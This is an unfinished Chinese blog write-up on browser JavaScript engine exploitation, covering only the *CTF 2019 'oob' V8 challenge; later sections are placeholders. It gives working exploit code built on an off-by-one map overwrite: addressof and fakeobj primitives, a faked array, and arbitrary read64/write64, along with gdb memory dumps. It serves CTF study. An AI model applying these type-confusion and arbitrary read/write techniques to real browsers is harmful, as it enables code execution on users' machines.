0%

2019-07-03-Chrome V8+Edge Chakra引擎漏洞利用技术分析(未完成)

    踩坑警告。。本文主要对之前的CTF赛题中分析的V8引擎及Chakra引擎的漏洞利用技术进行分析,因为时间紧张,还没有完全完成,只写了第一个最简单的漏洞分析,此处只是做备份记录,后续若有空会继续整理补充(很大可能会没空。。)。

V8 分析

    V8引擎提供了大量的调试接口,比较常用的有%DebugPrint、%SystemBreak等,用户在调试过程中设置断点及查看对象信息等。在gdb的init脚本中添加辅助调试d8的gdbinit脚本之后也可以使用Job命令解析对象结构成员属性。在下文中会进行讲解。

oob(*ctf 2019)


    这道题目算是V8引擎的入门题目,比较适合用来入门练手,首先题目给了一份魔改的Chrome源码并给出了对应的diff文件,来看diff文件内容:

    在patch中定义了一个array类型的oob方法,该方法的实现为:

    我们常见的array类型一般以0索引为第一个元素,直接以Length访问array类型即会产生OffByOne漏洞,那么在array数组越界读取1字节的内容是什么呢?下面我们来看一下不同类型的数组在内存中的分配都有什么特点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//封装的类型转换函数,完成浮点数与整形的转换
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
function gc(){
for(let i = 0 ; i < 0x10; i++){
new ArrayBuffer(0x1000000);
}
}
var mem = new Memory();
// gc();
var test = mem.u2d(0x234567);
test_array=[
test,
mem.u2d(0),
mem.u2d(0x1234567887654321),
mem.u2d(0x100000000)
];
test_array0=[
mem.u2d(0x234567),
mem.u2d(0),
mem.u2d(0x1234567887654321),
mem.u2d(0x100000000)
];
test_array1=[
1.1,
mem.u2d(0),
mem.u2d(0x1234567887654321),
mem.u2d(0x100000000)
];
test_array2=[ 1.1,2.2,3.3];
test_array3=[ 1,2,3];

%DebugPrint(test_array);
%DebugPrint(test_array0);
%DebugPrint(test_array1);
%DebugPrint(test_array2);
%DebugPrint(test_array3);
%SystemBreak();

    代码中用到的%DebugPrint、%SystemBreak即为V8提供的调试接口,正常运行时V8引擎是不支持该语句的,需要加上--allow-natives-syntax参数,在gdb中运行到SystemBreak中断时,可以使用job命令查看DebugPrint打印出的对象成员信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
//打印的结果
0x20263b38f2e9 <JSArray[4]> //test_array
0x20263b38f7b1 <JSArray[4]> //test_array0
0x20263b38fca1 <JSArray[4]> //test_array1
0x20263b390041 <JSArray[3]> //test_array2
0x20263b390061 <JSArray[3]> //test_array3
gdb-peda$ job 0x20263b38f2e9
0x20263b38f2e9: [JSArray]
- map: 0x0658823c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x02ad6c251111 <JSArray[0]>
- elements: 0x20263b38f309 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x30ecd99c0c71 <FixedArray[0]> {
#length: 0x256279e801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x20263b38f309 <FixedDoubleArray[4]> {
0: 1.14205e-317
1: 0
2: 5.62635e-221
3: 2.122e-314
}
//查看Array Object的结构:
gdb-peda$ telescope 0x20263b38f2e8
0000| 0x20263b38f2e8 --> 0x658823c2ed9 --> 0x4000030ecd99c01 //map
0008| 0x20263b38f2f0 --> 0x30ecd99c0c71 --> 0x30ecd99c08 //property
0016| 0x20263b38f2f8 --> 0x20263b38f309 --> 0x30ecd99c14 //elements
0024| 0x20263b38f300 --> 0x400000000 //length
0032| 0x20263b38f308 --> 0x30ecd99c14f9 --> 0x30ecd99c01
0040| 0x20263b38f310 --> 0x400000000
0048| 0x20263b38f318 --> 0x234567 ('gE#')
0056| 0x20263b38f320 --> 0x0

gdb-peda$ job 0x20263b38f7b1
0x20263b38f7b1: [JSArray]
- map: 0x0658823c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x02ad6c251111 <JSArray[0]>
- elements: 0x20263b38f8e9 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x30ecd99c0c71 <FixedArray[0]> {
#length: 0x256279e801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x20263b38f8e9 <FixedDoubleArray[4]> {
0: 1.14205e-317
1: 0
2: 5.62635e-221
3: 2.122e-314
}
gdb-peda$ job 0x20263b38fca1
0x20263b38fca1: [JSArray]
- map: 0x0658823c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x02ad6c251111 <JSArray[0]>
- elements: 0x20263b38fc71 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x30ecd99c0c71 <FixedArray[0]> {
#length: 0x256279e801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x20263b38fc71 <FixedDoubleArray[4]> {
0: 1.1
1: 0
2: 5.62635e-221
3: 2.122e-314
}
gdb-peda$ job 0x20263b390041
0x20263b390041: [JSArray]
- map: 0x0658823c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x02ad6c251111 <JSArray[0]>
- elements: 0x20263b390019 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x30ecd99c0c71 <FixedArray[0]> {
#length: 0x256279e801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x20263b390019 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
gdb-peda$ job 0x20263b390061
0x20263b390061: [JSArray]
- map: 0x0658823c2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x02ad6c251111 <JSArray[0]>
- elements: 0x20263b38e901 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x30ecd99c0c71 <FixedArray[0]> {
#length: 0x256279e801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x20263b38e901 <FixedArray[3]> {
0: 1
1: 2
2: 3
}

    注意在上述代码中查看Array的机构时使用的job 0x20263b38f2e9,telescope 0x20263b38f2e8,根据V8的数据表示类型,Object类型的最低位为1,整形数值最低位为0,所以对象的值需要减一才能在内存中正确查看。

    仔细查看上面的代码我们能够注意到只有test_array对象的elements指针是紧挨着对象所在位置之后的,test_array0及test_array3数组中elements指针指向的地址与对象本身差距较大,而test_array1、test_array2对象的elements指针为对象位置之前,回到上述oob函数的越界读取漏洞,只有test_array1、test_array2对象能够越界读取或写入对象本身的数据,越界访问到的内容为对象的map值,对象的map值标识着对象元素中数据的类型,这里可以很容易的想到读写map值完成类型混淆。

    为了完成V8的漏洞利用中一般需要使用漏洞完成addressof及fakeobj原语,分别为泄露对象地址及伪造对象(用于完成后面任意地址读写操作),根据漏洞类型也可以不用实现fakeobj功能,直接实现任意地址读写read及write。下面来看如何这道题目如何利用oob实现addrof及fakeobj函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var obj={};
var obj_array=[obj];
var double_array=[1.1,2.2];
%DebugPrint(obj_array);
%DebugPrint(double_array);
var obj_array_map = obj_array.oob();
var double_array_map = double_array.oob();
console.log("[-] obj_array_map: 0x"+mem.d2u(obj_array_map).toString(16));
console.log("[-] double_array_map: 0x"+mem.d2u(double_array_map).toString(16));
function addressof(obj_to_leak){
obj_array[0] = obj_to_leak;
obj_array.oob(double_array_map);
obj_addr = mem.d2u(obj_array[0])-1;
obj_array.oob(obj_array_map);
return obj_addr;
}
function fakeobj(fake_addr){
double_array[0] = mem.u2d(fake_addr+0x1);
double_array.oob(obj_array_map);
fake_obj = double_array[0];
double_array.oob(double_array_map);
return fake_obj;
}

    这里的代码逻辑也比较简单,首先利用越界获取obj及double类型数组的map值,实现泄露对象地址addressof函数只需将对象数组的map改为double类型,这样再次获取该对象即返回的是对象的地址,同理fakeobj函数中将double类型数组混淆成对象数组,这样即可把传递的地址参数伪造成对象处理。 实现完成addressof与fakeobj函数之后后面的操作基本都没有什么难度了,我们可以通过将一个double类型的数组伪造成obj对象,然后修改其elements指针的值完成任意地址读写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fake_array=[
double_array_map,
0,
mem.u2d(0x1234567887654321),
mem.u2d(0x100000000)
];
fake_array_addr = addressof(fake_array);
fake_array_obj = fakeobj(fake_array_addr+0x30);
function read64(addr){
fake_array[2] = mem.u2d(addr-0x10+0x1);
value = mem.d2u(fake_array_obj[0]);
return value;
}
function write64(addr,value){
fake_array[2] = mem.u2d(addr-0x10+0x1);
fake_array_obj[0] = mem.u2d(value);
return 0;
}

    根据前面不同方式定义的数组在内存中的elements指针所指向的地址差异,此处伪造对象的地址(elements指针指向的数据地址)为fake_array_addr+0x30,如果是使用其它方式定义的数组,比如像test_array1、test_array2,其elements指针均指向对象前面的位置,需要对其进行对应的更改,出现这种差异的原因猜测是因为部分数组元素中使用运算进行赋值,除此之外还有个需要注意的地方就是构造的read、write函数中我们将混淆对象的elements指针赋值成了addr-0x10+0x1,加1这里比较好理解,是为了表示其为对象类型,这里还有一个减0x10的操作是为了调整elements指针所指向的数据偏移,elements指针本身所指向的也是一个对象,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ job 0x31c649cf309
0x31c649cf309: [FixedDoubleArray]
- map: 0x349f322814f9 <Map>
- length: 4
0: 1.14205e-317
1: 0
2: 5.62635e-221
3: 2.122e-314
gdb-peda$ telescope 0x31c649cf308
0000| 0x31c649cf308 --> 0x349f322814f9 --> 0x349f322801
0008| 0x31c649cf310 --> 0x400000000
0016| 0x31c649cf318 --> 0x234567 ('gE#')
0024| 0x31c649cf320 --> 0x0
0032| 0x31c649cf328 --> 0x1234567887654300
0040| 0x31c649cf330 --> 0x100000000

    实际elements指针的偏移0x10位置才是实际存储的数据,所以设置想要读写的地址时需要减去这个偏移。现在我们已经能够任意地址读写了。(虽然实际上实现的写入函数可能有些地址无法写入数据,已经基本能够满足使用了)

rool a d8(pctf 2018)


    to do

krautflare (35c3 ctf 2018)


    to do

groupjs (qwb ctf finals 2019)


    to do

Just-in-time (googlectf finals 2018)


    to do

v8 challenge (csaw finals 2018)


    to do

Chakra 分析

    Chakara的漏洞利用相比V8引擎要麻烦点。

childjs (qwb online 2019)


    to do